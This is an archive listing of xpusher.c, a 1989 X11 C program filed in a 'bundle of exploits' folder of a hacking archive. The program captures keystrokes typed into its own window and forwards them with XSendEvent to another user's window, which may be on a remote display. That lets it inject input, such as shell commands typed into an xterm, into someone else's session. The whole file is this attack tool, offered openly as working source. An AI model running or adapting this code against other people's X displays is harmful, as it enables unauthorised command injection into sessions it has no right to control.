home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / xpusher.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  4KB  |  142 lines

  1. /* Xpusher - send keyboard events to another's window
  2.  * by:        Peter Shipley [copyright 1989]
  3.  * compile:    cc -O xpusher.c -o xpusher -lX11
  4.  * use:        xpusheR Windowid
  5.  *    Windowid        in decimal
  6.  *    -w Windowid        in decimal
  7.  *     -h Windowid        in hex
  8.  *     -d name_of_display
  9.  *
  10.  * see xwininfo(1) of xterm env. var. WINDOWID for window ID number
  11.  */
  12.  
  13. #include <stdio.h>
  14. #include <X11/Xlib.h>
  15. #include <X11/Xutil.h>
  16.  
  17. #ifndef lint
  18. char *copyright = "@(#) Copyright(c) 1988 Peter Shipley  [HACKMAN].\n\
  19.     All rights reserved.\n";
  20. #endif not lint
  21.  
  22. #define STRING    "X pusher"
  23. void exit();
  24.  
  25. void usage(comm)
  26. char *comm;
  27. {
  28.     (void) fprintf(stderr,
  29.     "usage: %s ([-w] Windowid | -h 0xWindowid) [-d displayname]\n", comm);
  30.  
  31.     exit(1);
  32. }
  33. /*
  34.  * This structure forms the WM_HINTS property of the window,
  35.  * letting the window manager know how to handle this window.
  36.  */
  37. XWMHints    xwmh = {
  38.     (InputHint|StateHint),    /* flags */
  39.     True,            /* input */
  40.     NormalState,        /* initial_state */
  41.     0,                /* icon pixmap */
  42.     0,                /* icon window */
  43.     0, 0,            /* icon location */
  44.     0,                /* icon mask */
  45.     0,                /* Window group */
  46. };
  47.  
  48. main(argc,argv)
  49.     int argc;
  50.     char **argv;
  51. {
  52.     char    *displayname = NULL;
  53.     int        i;
  54.  
  55.     Display    *dpy = NULL;    /* X server connection */
  56.     Window      rwin;        /* Recive Window ID */
  57.     Window      swin;        /* Send Window ID */
  58.     XSizeHints  xsh;        /* Size hints for window manager */
  59.  
  60.  
  61.     /* parse the arguments (a but much for 3 options) */
  62.     for (i = 1; i < argc; i++) {
  63.     char *arg = argv[i];
  64.  
  65.     if (arg[0] == '-') {
  66.         switch (arg[1]) {
  67.           case 'd':            /* -display host:dpy */
  68.         if (++i >= argc) usage (argv[0]);
  69.         displayname = argv[i];
  70.         continue;
  71.  
  72.           case 'h':            /* -h WindowId_in_hex */
  73.         if (++i >= argc) usage (argv[0]);
  74.         swin = atoi(argv[i]);
  75.         /* (void) sscanf(argv[i], "0x%lx", &swin); */
  76.         continue;
  77.  
  78.           case 'w':            /* -w WindowId_in_decimal */
  79.         if (++i >= argc) usage (argv[0]);
  80.         swin = atoi(argv[i]);
  81.         continue;
  82.  
  83.           default:
  84.         usage (argv[0]);
  85.         }                /* end switch on - */
  86.     } else 
  87.       swin = atoi(argv[i]);
  88.     }                    /* end for over argc */
  89.  
  90.     if(swin == (Window) NULL) usage (argv[0]);
  91.  
  92.     /* Open the display */
  93.     if ((dpy = XOpenDisplay(displayname)) == NULL) {
  94.     (void) fprintf(stderr, "%s: can't open %s\n",
  95.                  argv[0], XDisplayName(displayname));
  96.     exit(1);
  97.     }
  98.  
  99.     /*
  100.      * Deal with providing the window with an initial position & size.
  101.      * Fill out the XSizeHints struct to inform the window manager.
  102.      */
  103.     xsh.flags = (PPosition|PSize);
  104.     xsh.height = 72;
  105.     xsh.width = 2* 72;
  106.     xsh.x = (DisplayWidth(dpy, DefaultScreen(dpy)) - xsh.width) / 2;
  107.     xsh.y = (DisplayHeight(dpy, DefaultScreen(dpy)) - xsh.height) / 2;
  108.  
  109.     /*
  110.      * Create the Window with the information in the XSizeHints, the
  111.      * border width,  and the border & background pixels. 
  112.      */
  113.     rwin = XCreateSimpleWindow(dpy, DefaultRootWindow(dpy),
  114.                   xsh.x, xsh.y, xsh.width, xsh.height,
  115.                   1,
  116.                   WhitePixel(dpy, DefaultScreen(dpy)),
  117.                   BlackPixel(dpy, DefaultScreen(dpy)));
  118.  
  119.     /* Set the standard properties for the window managers.  */
  120.     XSetStandardProperties(dpy, rwin, STRING, STRING, None, argv, argc, &xsh);
  121.     XSetWMHints(dpy, rwin, &xwmh);
  122.  
  123.     /* Specify the event types we're interested in - only Exposures.  */
  124.     XSelectInput(dpy, rwin, FocusChangeMask|KeyPressMask|KeyReleaseMask);
  125.  
  126.     /* Map the window to make it visible. */
  127.     XMapWindow(dpy, rwin);
  128.  
  129.     /* Loop forever,  examining each event.  */
  130.     while (1) {
  131.     XEvent      event;        /* Event received */
  132.     /*
  133.      * Get the next event
  134.      */
  135.     XNextEvent(dpy, &event);
  136.  
  137.     /* if event is a Key event forward it */
  138.     if(event.type == KeyPress || event.type == KeyRelease) 
  139.         XSendEvent(dpy, swin, True, (KeyPressMask|KeyReleaseMask), &event);
  140.     }
  141. }
  142.